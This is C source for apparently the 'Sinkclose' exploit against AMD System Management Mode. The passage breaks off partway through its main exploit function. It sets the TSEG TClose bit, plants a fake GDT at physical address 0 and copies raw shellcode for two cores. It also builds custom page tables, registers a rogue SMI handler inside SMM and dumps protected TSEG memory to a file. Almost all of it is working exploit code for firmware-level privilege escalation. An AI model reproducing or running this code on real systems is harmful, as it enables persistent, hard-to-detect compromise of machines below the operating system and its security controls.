/// Base is then 0xFFFFFFFF -> Wraps around 4G and is shifted off by 1 at 0x0000
#define GDT_SINKCLOSE_ADDRESS           0x0000

#define CORE0_SHELLCODE_ADDRESS         0x1000 // 400 bytes for initial 32bit payload (core0_shell)
#define ORIGINAL_GDTR                   0x400 // GDTR to reload
#define ORIGINAL_GDT_OFFSET             0x408 // Start of GDT to reload
#define ORIGINAL_GDT                    0x1408

#define CORE0_PML4                      0x2000  // Physical Address



#define PG_RECURSIVE_ENTRY      0x1ED
#define PG_X64_STAGING_FUNC     0x1EE
#define PG_STACK_ENTRY          0x1EF
#define PG_AUX_DATA_ENTRY       0x1FF

/*
>>> print_idxs(0xfffff6fb7dbff000)
pte-i : 1ff
pde-i : 1ed
pdpt-i: 1ed
pml4-i: 1ed
*/
#define X64_STAGING_FUNC_AUX_DATA_VADDR 0xfffff6fb7dbff000

#define CORE1_SHELLCODE_ADDRESS (CORE0_SHELLCODE_ADDRESS + SMM_BASE_DISTANCE)

UINT64 PhysicalMappings[] = {
    GDT_SINKCLOSE_ADDRESS,
    CORE0_SHELLCODE_ADDRESS,
    CORE0_PML4,
    CORE1_SHELLCODE_ADDRESS,
};


#define SINKCLOSE_SMI_HANDLER_VADDR     0x1000
#define SINKCLOSE_SW_SMI_NUMBER         0x69


#pragma pack(push, 1)
struct _pxe {
  union {
    struct {
      UINT64 p: 1;
      UINT64 rw: 1;
      UINT64 us: 1;
      UINT64 pwt: 1;
      UINT64 pcd: 1;
      UINT64 a: 1;
      UINT64 d: 1;
      UINT64 ps: 1;
      UINT64 g: 1;
      UINT64 rsvd0: 3;
      UINT64 pfn: 40;
      UINT64 rsvd1: 11;
      UINT64 xd: 1;
    } parts;
    UINT64 val;
  };
};


struct _x64_staging_aux_data {
    UINT64 tseg_base;
    UINT32 tseg_size;
    // This is a buffer used to copy out TSEG
    UINT64 buffer_ptr;
    UINT32 handler_size;   
    UINT8  handler_code[];       
};

#pragma pack (pop)



#define EFIAPI

typedef
EFI_STATUS
#ifdef __linux__
__attribute__((ms_abi))
#endif
(EFIAPI *EFI_SMM_HANDLER_ENTRY_POINT)(
  EFI_HANDLE  DispatchHandle,
  void  *Context,
  void    *CommBuffer,
  UINT64   *CommBufferSize
  );

typedef
EFI_STATUS
#ifdef __linux__
__attribute__((ms_abi))
#endif
(EFIAPI *EFI_MM_INTERRUPT_REGISTER)(
  EFI_SMM_HANDLER_ENTRY_POINT    Handler,
  EFI_GUID                *HandlerType,
  EFI_HANDLE                    *DispatchHandle
  );


typedef
EFI_STATUS
#ifdef __linux__
__attribute__((ms_abi))
#endif
(EFIAPI *EFI_LOCATE_PROTOCOL)(
  EFI_GUID  *Protocol,
  void      *Registration,
  void      **Interface
  );

typedef struct {
  UINTN    SwSmiInputValue;
} EFI_SMM_SW_REGISTER_CONTEXT;

typedef
EFI_STATUS
#ifdef __linux__
__attribute__((ms_abi))
#endif
(EFIAPI *EFI_SMM_SW_REGISTER2)(
  void *This,
  EFI_SMM_HANDLER_ENTRY_POINT   DispatchFunction,
  EFI_SMM_SW_REGISTER_CONTEXT    *RegisterContext,
  EFI_HANDLE                     *DispatchHandle
  );

typedef struct _EFI_SMM_SW_DISPATCH2_PROTOCOL {
  EFI_SMM_SW_REGISTER2      Register;
  void *                    UnRegister;
  ///
  /// A read-only field that describes the maximum value that can be used in the
  /// EFI_SMM_SW_DISPATCH2_PROTOCOL.Register() service.
  ///
  UINTN                     MaximumSwiValue;
} EFI_SMM_SW_DISPATCH2_PROTOCOL;

typedef  EFI_MM_INTERRUPT_REGISTER   EFI_SMM_INTERRUPT_REGISTER;

typedef
EFI_STATUS
#ifdef __linux__
__attribute__((ms_abi))
#endif
(EFIAPI *EFI_ALLOCATE_POOL)(
  EFI_MEMORY_TYPE              PoolType,
  UINTN                        Size,
  void                         **Buffer
  );


#define SIGNATURE_16(A, B)                     ((A) | (B << 8))
#define SIGNATURE_32(A, B, C, D)               (SIGNATURE_16 (A, B) | (SIGNATURE_16 (C, D) << 16))
#define MM_MMST_SIGNATURE                      SIGNATURE_32 ('S', 'M', 'S', 'T')
#define SMST_ALLOCATE_POOL_FUNC_OFFSET         0x50
#define SMST_LOCATE_PROTOCOL_FUNC_OFFSET       0xD0
#define SMST_SMI_HANDLER_REGISTER_FUNC_OFFSET  0xE0



int sinkclose_smi(SW_SMI_CALL *smi_call) {
    smi_call->TriggerPort = get_smi_port();

    int status;
    #ifdef __linux__
        status = ioctl(g_hDevice, IOCTL_SINKCLOSE, smi_call);           
    #else //_WIN32       
        DWORD dwBytesReturned = 0;
        status = DeviceIoControl(
            g_hDevice,
            IOCTL_SINKCLOSE,
            smi_call, sizeof(*smi_call),
            NULL, NULL,
            &dwBytesReturned,
            NULL
        );
    #endif   

    return status; 
}


void * allocate_page() {
    void *mem;
    #ifdef __linux__
        mem = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    #else //_WIN32       
        mem = VirtualAlloc(NULL, PAGE_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    #endif

    memset(mem, 0x00, PAGE_SIZE);
    return mem;
}

void free_page(void *page) {
    #ifdef __linux__
        munmap(page, PAGE_SIZE);
    #else //_WIN32       
        VirtualFree(page, PAGE_SIZE, MEM_RELEASE);
    #endif
}

/// @brief  This is 64-bit code executing with SMM privileges
/// Currently, it fetches the gSmst and registers a new SMI Handler
/// The SMI Handler function will point to physical address 0x1000
#ifdef _WIN32
#pragma code_seg(".x64_staging_section")
#endif
void
#ifdef __linux__
__attribute__((section(".x64_staging_section")))
#endif
x64_staging_func() {       

    #ifdef SQUIRREL_DEBUG
        UINT32 *squirrel = (UINT32 *) SQUIRREL_BAR;
        squirrel[32] = 0x42424242;
    #endif

    struct _x64_staging_aux_data *aux_data =
             (struct _x64_staging_aux_data * ) X64_STAGING_FUNC_AUX_DATA_VADDR;

    UINT32 *tseg_start = (UINT32 *) aux_data->tseg_base;
    UINT32 tseg_size   = aux_data->tseg_size;
    UINT32 *tseg_end   = (UINT32 *) ((char *)tseg_start + tseg_size);


    UINT32 *ptr = tseg_start;
    // Find SMST
    while (*ptr != MM_MMST_SIGNATURE && ptr != tseg_end) {
        ptr++;
    }

    #ifdef SQUIRREL_DEBUG
        squirrel[34] = *ptr;   
    #endif
    
    EFI_STATUS Status;

    #ifdef SQUIRREL_DEBUG
        squirrel[35] = 0x41414141;         
    #endif

    #ifdef INSTALL_FCH_SMI_HANDLER

        EFI_LOCATE_PROTOCOL SmmLocateProtocol = (EFI_LOCATE_PROTOCOL)
                            *(UINT64 *)((char *)ptr + SMST_LOCATE_PROTOCOL_FUNC_OFFSET);

        EFI_SMM_SW_DISPATCH2_PROTOCOL  *SwDispatch;
        EFI_SMM_SW_REGISTER_CONTEXT    SwContext;
        EFI_HANDLE                     SwHandle = 0;

        #ifdef SQUIRREL_DEBUG
            squirrel[35] = 0x43434343; 
            *(UINT64 *)&squirrel[36] = (UINT64) SmmLocateProtocol; 
        #endif

        
        // Allocate pool of memory for the handler

        void *smi_handler_dst_location = NULL;

        EFI_ALLOCATE_POOL SmmAllocatePool = (EFI_ALLOCATE_POOL)
                            *(UINT64 *)((char *)ptr + SMST_ALLOCATE_POOL_FUNC_OFFSET);

         Status = SmmAllocatePool (
            RuntimeCode,
            aux_data->handler_size,
            (void **)&smi_handler_dst_location
        );

        #ifdef SQUIRREL_DEBUG
            *(UINT64 *)&squirrel[38] = (UINT64) smi_handler_dst_location; 
        #endif

        // Memcpy       
        UINT32 *dst_ptr = (UINT32 *) smi_handler_dst_location;   
        UINT32 *src_ptr = (UINT32 *) aux_data->handler_code;
        for ( int i = 0; i < (aux_data->handler_size >> 2); i++) {
            dst_ptr[i] = src_ptr[i];
        }

        // Register FCH SMI Handler

        EFI_GUID  gEfiSmmSwDispatch2ProtocolGuid = {           
            0x18a3c6dc, 0x5eea, 0x48c8, {0xa1, 0xc1, 0xb5, 0x33, 0x89, 0xf9, 0x89, 0x99}
        };

        Status = SmmLocateProtocol(
            &gEfiSmmSwDispatch2ProtocolGuid,
            NULL,
            (void **)&SwDispatch
        );

        #ifdef SQUIRREL_DEBUG
            squirrel[40] = Status;   
            *(UINT64 *)&squirrel[42] = (UINT64 ) SwDispatch;   
        #endif

        SwContext.SwSmiInputValue = SINKCLOSE_SW_SMI_NUMBER;

        Status = SwDispatch->Register(
            SwDispatch, 
            (EFI_SMM_HANDLER_ENTRY_POINT ) smi_handler_dst_location,
            &SwContext,
            &SwHandle
        );

    #elif INSTALL_ROOT_SMI_HANDLER

        EFI_SMM_INTERRUPT_REGISTER SmiHandlerRegister = (EFI_SMM_INTERRUPT_REGISTER)
                            *(UINT64 *)((char *)ptr + SMST_SMI_HANDLER_REGISTER_FUNC_OFFSET);

        EFI_GUID  gSinkcloseGuid = {           
            0x11111111, 0x1111, 0x1111, {0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11}
        };

        EFI_HANDLE  DispatchHandle;

        SmiHandlerRegister(
            (EFI_SMM_HANDLER_ENTRY_POINT) SINKCLOSE_SMI_HANDLER_VADDR,
            &gSinkcloseGuid,
            &DispatchHandle
        );
    #endif


    #ifdef DUMP_TSEG
        UINT32 *dst_ptr = (UINT32 *) aux_data->buffer_ptr;   
        UINT32 *src_ptr = tseg_start;
        for ( int i = 0; i < (tseg_size >> 2); i++) {
            dst_ptr[i] = src_ptr[i];
        }
    #endif


    #ifdef SQUIRREL_DEBUG       
        squirrel[48] = 0x45454545;   
    #endif

    return;
}

#ifdef _WIN32
#pragma code_seg()
#endif

void
#ifdef __linux__
__attribute__((section(".marker_section1")))
#endif
marker_section1() {};



/// @brief  Gets the size of the x64_staging function
///         by calculating the distance between sections
/// @return
UINT32 get_x64_staging_size() {
    UINT32 section_size = 0;
    #ifdef __linux__
    section_size = ((UINT64)marker_section1 - (UINT64)x64_staging_func);
    #else
    section_size = PAGE_SIZE;
    #endif   
    return section_size;
}

/// Set the TClose
void set_tclose_for_core(UINT32 core_id) {
    UINT64 tseg_mask = 0;
    do_read_msr_for_core(core_id, AMD_MSR_SMM_TSEG_MASK, &tseg_mask);
    tseg_mask = tseg_mask | (0b11 << 2);
    do_write_msr_for_core(core_id, AMD_MSR_SMM_TSEG_MASK, tseg_mask);
}


unsigned char FAKE_GDT[] = {
    // NULL Descriptor
    /*0x00*/ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    // Code Segment - 32 Bit - DPL0
    /*0x08*/ 0xff, 0xff, 0x00, 0x00, 0x00, 0x9b, 0xcf, 0x00,
    // Code Segment - 32 Bit - DPL0
    /*0x10*/ 0xff, 0xff, 0x00, 0x00, 0x00, 0x9b, 0xcf, 0x00,
    // Data Segment - 32 Bit
    /*0x18*/ 0xff, 0xff, 0x00, 0x00, 0x00, 0x93, 0xcf, 0x00,
    // Data Segment - 32 Bit
    /*0x20*/ 0xff, 0xff, 0x00, 0x00, 0x00, 0x93, 0xcf, 0x00,
    // Code Segment - 16 bit
    /*0x28*/ 0xff, 0xff, 0x00, 0x00, 0x00, 0x9b, 0x8f, 0x00,
    // Data Segment - 16 bit
    /*0x30*/ 0xff, 0xff, 0x00, 0x00, 0x00, 0x93, 0x8f, 0x00,
    // Code Segment - 64 bit
    /*0x38*/ 0xff, 0xff, 0x00, 0x00, 0x00, 0x9b, 0xaf, 0x00,
    // TSS Segment
    /*0x40*/ 0x68, 0x00, 0x08, 0x31, 0xd0, 0x8b, 0x80, 0xae,
    // Data Segment - 64 bit
    /*0x48*/ 0xff, 0xff, 0x00, 0x00, 0x00, 0x92, 0xaf, 0x00,
    /*0x50*/ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};

void updateGDTBase(unsigned char* gdt, int entryIndex, unsigned int newBase) {
    // Calculate the starting index of the entry in the GDT
    int entryStartIndex = entryIndex * 8;

    // Update the base address bytes in the entry
    gdt[entryStartIndex + 2] = (newBase >> 0) & 0xFF;
    gdt[entryStartIndex + 3] = (newBase >> 8) & 0xFF;
    gdt[entryStartIndex + 4] = (newBase >> 16) & 0xFF;
    gdt[entryStartIndex + 7] = (newBase >> 24) & 0xFF;
}


void patch_shellcode_ptr(char* shellcode, UINT32 base_offset, UINT32 val)
{
    *((UINT32*)&shellcode[base_offset + 6])  = val;
    *((UINT32*)&shellcode[base_offset + 18]) = val + 4;
}


/// @brief  Copies the shellcode at CORE0_SHELLCODE_ADDRESS
void prepare_shellcode_core0(UINT32 smi_entry_point) {

    // Get pointer to the needle and calculate function size
    void *ptr = memmem(
        (void *) &_core0_shell,
        PAGE_SIZE,
        FUNCTION_END_NEEDLE,
        sizeof(FUNCTION_END_NEEDLE) - 1
    );

    UINT32 sh_len = (UINT64)ptr -  (UINT64)_core0_shell;   
    printf("core0_shell is %d bytes long\n", sh_len);

    printf("copying core0_shell to physical address %08x\n", CORE0_SHELLCODE_ADDRESS);

    char* shellcode_page = (char *)map_physical_memory(CORE0_SHELLCODE_ADDRESS, PAGE_SIZE);
    // Copy 32bit Core0_shell
    memcpy(shellcode_page, (void *) _core0_shell, sh_len);


    // Create a copy of the GDT at offset ORIGINAL_GDT_OFFSET
    // This is used by core0_shell to reload the gdt and have clean flat descriptors
    // It needs to be placed in physical address 0x1000 because our paging layout
    memcpy(
        (char*)shellcode_page + ORIGINAL_GDT_OFFSET,
        (char*)FAKE_GDT,
        sizeof(FAKE_GDT)
    );

    // Setup GDTR
    *(UINT16 *)((char*)shellcode_page + ORIGINAL_GDTR) = sizeof(FAKE_GDT) - 1;
    *(UINT32 *)((UINT16 *)((char*)shellcode_page + ORIGINAL_GDTR) + 1) = ORIGINAL_GDT;
    

    unmap_physical_memory(shellcode_page, PAGE_SIZE);
}


/// @brief  Copies the shellcode at CORE1_SHELLCODE_ADDRESS
void prepare_shellcode_core1(UINT32 smm_save_state_area) {
        char shellcode_core1[] =
        // Clear TClose
        "\xb9\x13\x01\x01\xc0"                         // mov ecx,0xc0010113
        "\x0f\x32"                                     // rdmsr
        "\x83\xe0\xf3"                                 // and eax,0xfffffff3
        "\x0f\x30"                                     // wrmsr

        // Offset 12
        // Write to BAR buffer
        "\x90\x90\x90\x90\x90"                      // mov    ecx,0xd0800011
        "\x90\x90\x90"                              // mov    BYTE PTR [ecx],0x71
        "\x90\x90"                                  // xor    ecx,ecx

        // Offset 22
        // Restore RIP
        "\xa1\x00\x32\x00\x00"                      // mov    eax,ds:0x3200
        "\xB9\x78\xDF\xF4\xCE"                      // mov ecx, 0xcef4df78
        "\x89\x01"                                  // mov DWORD PTR [ecx],eax

        "\xa1\x04\x32\x00\x00"                      // mov    eax,ds:0x3204
        "\xB9\x7c\xDF\xF4\xCE"                      // mov ecx, 0xcef4df7c
        "\x89\x01"                                  // mov DWORD PTR [ecx],eax

        // Offset 46
        // Restore RSP
        "\xa1\x08\x32\x00\x00"                      // mov    eax,ds:0x3208
        "\xB9\xD8\xDF\xF4\xCE"                      // mov ecx, 0xcef4dfd8
        "\x89\x01"                                  // mov    DWORD PTR [ecx],eax

        "\xa1\x0C\x32\x00\x00"                      // mov    eax,ds:0x320C
        "\xB9\xDC\xDF\xF4\xCE"                      // mov ecx, 0xcef4dfdc
        "\x89\x01"                                  // mov DWORD PTR [ecx],eax

        // Offset 70
        // Restore RBP
        "\xa1\x10\x32\x00\x00"                      // mov    eax,ds:0x3210
        "\xB9\xD0\xDF\xF4\xCE"                      // mov ecx, 0xcef4bfd0
        "\x89\x01"                                  // mov DWORD PTR [ecx],eax

        "\xa1\x14\x32\x00\x00"                      // mov    eax,ds:0x3214
        "\xB9\xD4\xDF\xF4\xCE"                      // mov ecx, 0xcef4bfd4
        "\x89\x01"                                  // mov DWORD PTR [ecx],eax

        // Offset 94
        // Restore CR3
        "\xa1\x18\x32\x00\x00"                      // mov    eax,ds:0x3218
        "\xB9\x50\xDF\xF4\xCE"                      // mov ecx, 0xcef4df50
        "\x89\x01"                                  // mov DWORD PTR [ecx],eax

        "\xa1\x1C\x32\x00\x00"                      // mov    eax,ds:0x321C
        "\xB9\x54\xDF\xF4\xCE"                      // mov ecx, 0xcef4df54
        "\x89\x01"                                  // mov DWORD PTR [ecx],eax

        // Offset 118
        // Set auto-halt restart
        // "\xB9\x41\x41\x41\x41"                      // mov ecx, SMM_BASE + FEC9
        // "\x31\xc0"                                  // xor eax, eax
        // "\x40"                                      // inc eax
        // "\x89\x01"                                  // mov DWORD PTR [ecx],eax


        // Write to BAR buffer
        "\xB9\x11\x00\x80\xD0"                      // mov    ecx,0xd0800011
        "\xC6\x01\x69"                              // mov    BYTE PTR [ecx],0x69

        // // loop
        // "\xa1\x20\x32\x00\x00"                      // mov    eax,ds:0x3220
        // "\x85\xc0"                                  // test   eax,eax
        // "\x74\xf7"                                  // je     loop

        "\x0f\xaa";                                // rsm

    
    #define SMM_SAVE_STATE__OFFSET_RIP 0x178
    #define SMM_SAVE_STATE__OFFSET_RBP 0x1d0
    #define SMM_SAVE_STATE__OFFSET_RSP 0x1d8
    #define SMM_SAVE_STATE__OFFSET_CR3 0x150
    #define SMM_SAVE_STATE__OFFSET_AUTO_HALT_RESTART 0xC9

    patch_shellcode_ptr(
        shellcode_core1,
        22,
        smm_save_state_area + SMM_SAVE_STATE__OFFSET_RIP
    );

    patch_shellcode_ptr(
        shellcode_core1,
        46,
        smm_save_state_area + SMM_SAVE_STATE__OFFSET_RSP
    );

    patch_shellcode_ptr(
        shellcode_core1,
        70,
        smm_save_state_area + SMM_SAVE_STATE__OFFSET_RBP
    );

    patch_shellcode_ptr(
        shellcode_core1,
        94,
        smm_save_state_area + SMM_SAVE_STATE__OFFSET_CR3
    );

    // Patch auto-halt restart
    // *((UINT32*)&shellcode_core1[119]) =
    //      smm_save_state_area + SMM_SAVE_STATE__OFFSET_AUTO_HALT_RESTART;


    void* shellcode_page = map_physical_memory(CORE1_SHELLCODE_ADDRESS, PAGE_SIZE);
    memcpy(shellcode_page, shellcode_core1, sizeof(shellcode_core1) - 1);
    unmap_physical_memory(shellcode_page, PAGE_SIZE);
}




struct x_mapping {
    UINT32 size;

    UINT32 aligned_size;
    UINT64 vaddr;       
    UINT32 num_pages;
    void **pages;
    UINT32 num_tables;
    void  **tables;
};

static void print_mapping(struct x_mapping *mapping) {
    printf("VA: %016llx\n", mapping->vaddr);
    printf("   PML4-i: %x\n", (mapping->vaddr >> 39) & 0b111111111);
    printf("   PDPT-i: %x\n", (mapping->vaddr >> 30) & 0b111111111);
    printf("     PD-i: %x\n", (mapping->vaddr >> 21) & 0b111111111);
    printf("     PT-i: %x\n", (mapping->vaddr >> 12) & 0b111111111);

    printf("Size: %08x | Aligned-Size: %08x\n", mapping->size, mapping->aligned_size);
    printf("Num of pages : %d\n", mapping->num_pages);
    printf("Num of tables: %d\n", mapping->num_tables);
}


/// @brief  Creates a large buffer mapping (16 MBs) into the paging tables
///         This permits leaking TSEG content and passing more data if needed
///      The VADDRs for this are
                //  1ED,0,4,0   ->
                //  1ED,0,4,1   ->
#define DMA_BUFFER_MAPPED_ADDR 0xfffff68000800000
UINT64 create_large_buffer(struct alloc_user_physmem *pdpt_page, struct x_mapping **mapping) {
    
    struct _pxe *pxe;

    *mapping = (struct x_mapping *) calloc(1, sizeof(struct x_mapping));

    (*mapping)->size = 16 * 1024 * 1024;
    (*mapping)->aligned_size  = ALIGN((*mapping)->size, PAGE_SIZE);
    (*mapping)->num_pages     = (*mapping)->aligned_size / PAGE_SIZE;
    (*mapping)->num_tables    = (*mapping)->num_pages / 512; // 512 entries per page

    // allocate buffer of pages
    void *pages = calloc(1, (*mapping)->num_pages * sizeof(void **));
    for (int i = 0; i < (*mapping)->num_pages; i++) {
        void *page = allocate_page();
        //printf("Allocated page %d: %016llx\n", i, page);
        *(UINT32 *)page = 0x45454545;

        ((void **)pages)[i] = page;
    }
    // [ page, page2 .. page 4096]
    (*mapping)->pages = (void **)pages;


    // Allocate buffer of tables
    void *tables = calloc(1, (*mapping)->num_tables * sizeof(void **));
    for (int i = 0; i < (*mapping)->num_tables; i++) {
        void *table = allocate_page();
        //printf("Allocated table %d: %016llx\n", i, table);
        ((void **)tables)[i] = table;
    }

    (*mapping)->tables = (void **)tables;


    // Fill in the information of pages in our tables
    int k = 0; // index on tables

    pxe = (struct _pxe *) ((void **)tables)[k];
    for (int i = 0; i < (*mapping)->num_pages; i++) {
        // grab the page
        void *page = ((void **)pages)[i];

        // get the physical address of the page
        UINT64 page_pa = virt_to_phys((UINT64) page);

        // printf("Page-%d %016llx -> physaddr: %016llx (table %d)\n",
        //      i, page, page_pa, k);
        
        // Fill the information in the table entry

        // set present
        pxe->parts.p    = 1;
        // set RW
        pxe->parts.rw   = 1;
        // set U/S
        pxe->parts.us   = 1;
        // set A
        pxe->parts.a    = 1;
        // set D
        pxe->parts.d    = 1;
        //
        pxe->parts.pfn  = PFN(page_pa);

        // next entry
        pxe++;

        if ( ((i+1) % 512) == 0) {
            k++;
            pxe = (struct _pxe *) ((void **)tables)[k];
        }
    }


    pxe = (struct _pxe *) ((UINT64 *) pdpt_page->va + 4);

    // 8 entries to map each of the tables above
    for (int i = 0; i < (*mapping)->num_tables; i++) {
        void *table = ((void **)tables)[i];

        UINT64 table_pa = virt_to_phys((UINT64) table);

        // printf("Table %016llx -> physaddr: %016llx\n", table, table_pa);

        // set present
        pxe->parts.p    = 1;
        // set RW
        pxe->parts.rw   = 1;
        // set U/S
        pxe->parts.us   = 1;
        // set A
        pxe->parts.a    = 1;
        // set D
        pxe->parts.d    = 1;
        //
        pxe->parts.pfn  = PFN(table_pa);

        pxe++;
    }

    return DMA_BUFFER_MAPPED_ADDR;
}


void destroy_mapping(struct x_mapping **mapping) {

    void **pages = (void **) (*mapping)->pages;
    for (int i = 0; i < (*mapping)->num_pages; i++) {       
        void *page = ((void **)pages)[i];
        free_page(page);
    }

    //printf("free the pages buffer\n");
    free((*mapping)->pages);

    void **tables = (void **) (*mapping)->tables;
    for (int i = 0; i < (*mapping)->num_tables; i++) {
        //printf("free mapping tables %d\n", i);
        void *table = ((void **)tables)[i];
        free_page(table);
    }
    
    //printf("free the tables buffer\n");
    free((*mapping)->tables);

    // free the structure itself
    //printf("free the mapping\n");
    free(*mapping);

    *mapping = NULL;
}

/// @brief  sets up a recursive paging structure at CORE0_PML4
void prepare_paging(
    struct alloc_user_physmem *pdpt_page,
    UINT64 x64_staging_func_pa,
    UINT64 stack_pa,
    UINT64 aux_buff_pa)
{


    // if (is_5_level_paging()) {
    //     printf("error: add support for pml5\n");
    //     exit(-1);
    // }

    
    void *pml4 = map_physical_memory(CORE0_PML4, PAGE_SIZE);
    memset(pml4, 0x00, PAGE_SIZE);

    struct _pxe *pxe;
    
    // Map the recursive entry at 0x1ED (memories)
    pxe = (struct _pxe *) ((UINT64 *)pml4 + PG_RECURSIVE_ENTRY);
    
    // set present
    pxe->parts.p    = 1;
    // set RW
    pxe->parts.rw   = 1;
    // set U/S
    pxe->parts.us   = 1;
    // set A
    pxe->parts.a    = 1;
    // set D
    pxe->parts.d    = 1;
    //
    pxe->parts.pfn  = PFN(CORE0_PML4);
    

    pxe++; // Put the x64_staging function at 0x1EE
    
    // VADDR then is: 0xfffff6fb7dbee000
    // set present
    pxe->parts.p    = 1;
    // set RW
    pxe->parts.rw   = 1;
    // set U/S
    pxe->parts.us   = 1;
    // set A
    pxe->parts.a    = 1;
    // set D
    pxe->parts.d    = 1;
    //
    pxe->parts.pfn  = PFN(x64_staging_func_pa);
    

    pxe++;

    // (Entry-1EF) Stack for x64_staging
    pxe->parts.p    = 1;
    // set RW
    pxe->parts.rw   = 1;
    // set U/S
    pxe->parts.us   = 1;
    // set A
    pxe->parts.a    = 1;
    // set D
    pxe->parts.d    = 1;
    // Maps the stack to be used later
    pxe->parts.pfn  = PFN(stack_pa);




    // Maps a portion of the first 512Gigs
    pxe = (struct _pxe *) pml4;

    // (Entry-0)
    pxe->parts.p    = 1;
    // set RW
    pxe->parts.rw   = 1;
    // set U/S
    pxe->parts.us   = 1;
    // set A
    pxe->parts.a    = 1;
    // set D
    pxe->parts.d    = 1;
    // Maps the PDPT located at CORE0_PDPT
    pxe->parts.pfn  = PFN(pdpt_page->pa);

    


    pxe = (struct _pxe *) ((UINT64 *) pml4 + PG_AUX_DATA_ENTRY);

    // (Entry-511) AUX Data for x64_staging
    pxe->parts.p    = 1;
    // set RW
    pxe->parts.rw   = 1;
    // set U/S
    pxe->parts.us   = 1;
    // set A
    pxe->parts.a    = 1;
    // set D
    pxe->parts.d    = 1;
  
    pxe->parts.pfn  = PFN(aux_buff_pa);


    unmap_physical_memory(pml4, PAGE_SIZE);

    /*
     0      -> PDPT
    
     ..
     1ED    -> Recursive entry
     1EE    -> x64_staging_func (through the recursive entry)
     1EF      -> Stack (4096) (through the recursive entry)
                0xfffff6fb7dbef000

     1FF    -> Last entry is used for aux data passed to the staging func
                0xfffff6fb7dbff000
     ..
    */


    memset((void *) pdpt_page->va, 0x00, PAGE_SIZE);

    // Map LARGE 1G Entries to cover 4Gigs (indentity mapped)
    pxe = (struct _pxe *) pdpt_page->va;

    // (Entry-0)
    pxe->parts.p    = 1;
    // set RW
    pxe->parts.rw   = 1;
    // set U/S
    pxe->parts.us   = 1;
    // set A
    pxe->parts.a    = 1;
    // set D
    pxe->parts.d    = 1;
    // LARGE PAGE (1Gig)
    pxe->parts.ps   = 1;
    // Maps 0x00000000 - 0x40000000
    pxe->parts.pfn  = PFN(0);

    pxe++;

    // (Entry-1)
    pxe->parts.p    = 1;
    // set RW
    pxe->parts.rw   = 1;
    // set U/S
    pxe->parts.us   = 1;
    // set A
    pxe->parts.a    = 1;
    // set D
    pxe->parts.d    = 1;
    // LARGE PAGE (1Gig)
    pxe->parts.ps   = 1;
    // Maps 0x40000000 - 0x80000000
    pxe->parts.pfn  = PFN(0x40000000);

    pxe++;

    // (Entry-2)
    pxe->parts.p    = 1;
    // set RW
    pxe->parts.rw   = 1;
    // set U/S
    pxe->parts.us   = 1;
    // set A
    pxe->parts.a    = 1;
    // set D
    pxe->parts.d    = 1;
    // LARGE PAGE (1Gig)
    pxe->parts.ps   = 1;
    // Maps 0x80000000 - 0xC0000000
    pxe->parts.pfn  = PFN(0x80000000);

    pxe++;

    // (Entry-3)
    pxe->parts.p    = 1;
    // set RW
    pxe->parts.rw   = 1;
    // set U/S
    pxe->parts.us   = 1;
    // set A
    pxe->parts.a    = 1;
    // set D
    pxe->parts.d    = 1;
    // LARGE PAGE (1Gig)
    pxe->parts.ps   = 1;
    // Maps 0xC0000000 - 0xFFFFFFFF
    pxe->parts.pfn  = PFN(0xC0000000);
}


void dump_mapping(struct x_mapping *mapping) {
    FILE *fp = fopen("tseg_dumpx.bin", "wb");
    void **pages = (void **) mapping->pages;
    for (int i = 0; i < mapping->num_pages; i++) {       
        void *page = ((void **)pages)[i];
        fwrite(page, PAGE_SIZE, 1, fp);
    }

    fclose(fp);
}



#ifdef _WIN32
#pragma code_seg(".smi_handler")
#endif
#ifdef __linux__
__attribute__((ms_abi))
#endif
void
#ifdef __linux__
__attribute__((section(".smi_handler")))
#endif
smi_handler(
    EFI_HANDLE DispatchHandle,
    void       *DispatchContext,
    void       *SwContext,
    UINT32     *SizeOfSwContext
    )
{   
    #ifdef SQUIRREL_DEBUG
        UINT32 *squirrel = (UINT32 *) SQUIRREL_BAR;
        squirrel[0] = 0xAAAAAAAA;
    #endif
}
#ifdef _WIN32
#pragma code_seg()
#endif

void
#ifdef __linux__
__attribute__((section(".marker_section2")))
#endif
marker_section2() {};


/// @brief  Gets the size of the smi_handler function
///         by calculating the distance between sections
/// @return
UINT32 get_smi_handler_size() {
    UINT32 section_size = 0;   
    #ifdef __linux__   
        section_size = ((UINT64)marker_section2 - (UINT64)smi_handler);   
    #else
        section_size = PAGE_SIZE;
    #endif   
    return section_size;
}

void sinkclose_exploit()
{
    BOOL res;

    // Get SMM base location
    UINT64 smm_base_core0 = 0;
    do_read_msr_for_core(0, AMD_MSR_SMM_BASE_ADDRESS, &smm_base_core0);
    
    UINT64 smm_base_core1 = smm_base_core0 + SMM_BASE_DISTANCE;

    UINT32 smm_entry_point_core0 = smm_base_core0 + AMD_SMI_HANDLER_ENTRY_POINT;
    UINT32 smm_entry_point_core1 = smm_base_core1 + AMD_SMI_HANDLER_ENTRY_POINT;


    // Set the fake GDT for core 0 and core 1
    UINT32 gdt_cs_base = 0x100000000 - (smm_entry_point_core0 + 0x53) + CORE0_SHELLCODE_ADDRESS;
    
    void* gdt_physpage = map_physical_memory(0x00000000, PAGE_SIZE);

    // Set the tampered offset for the GDT located at 0xFFFFFFFF
    char *gdt = (char *) malloc(sizeof(FAKE_GDT));
    memcpy(gdt, FAKE_GDT, sizeof(FAKE_GDT));
    updateGDTBase((unsigned char *) gdt, 1, gdt_cs_base);
    memcpy((char*)gdt_physpage, gdt + 1, sizeof(FAKE_GDT) - 1);
    free(gdt);

    unmap_physical_memory(gdt_physpage, PAGE_SIZE);

    /* Physical Addresses
     - 0x00000000 -> FAKE GDT[1:]
     - 0x00001000 -> Shellcode fore Core0  ()
     - 0x00003000 -> Shellcode fore Core1  ()
     - 0x00003200 -> Recovery Values for Core1
    */

    prepare_shellcode_core0(smm_entry_point_core0);

    // This shellcode needs to patch the Save State Area
    // for graceful return
    prepare_shellcode_core1(smm_base_core1 + AMD_SMM_STATE_SAVE_AREA);


    // Prepare recursive paging structure   

    // a .Copy the x64 staging function into a single page of memory
    struct alloc_user_physmem x64_staging_page = {0};

    if (alloc_user_mem(PAGE_SIZE, &x64_staging_page) == FALSE) {
        printf("failed to allocate page for x64_staging_func\n");
        exit(-1);
    }
    
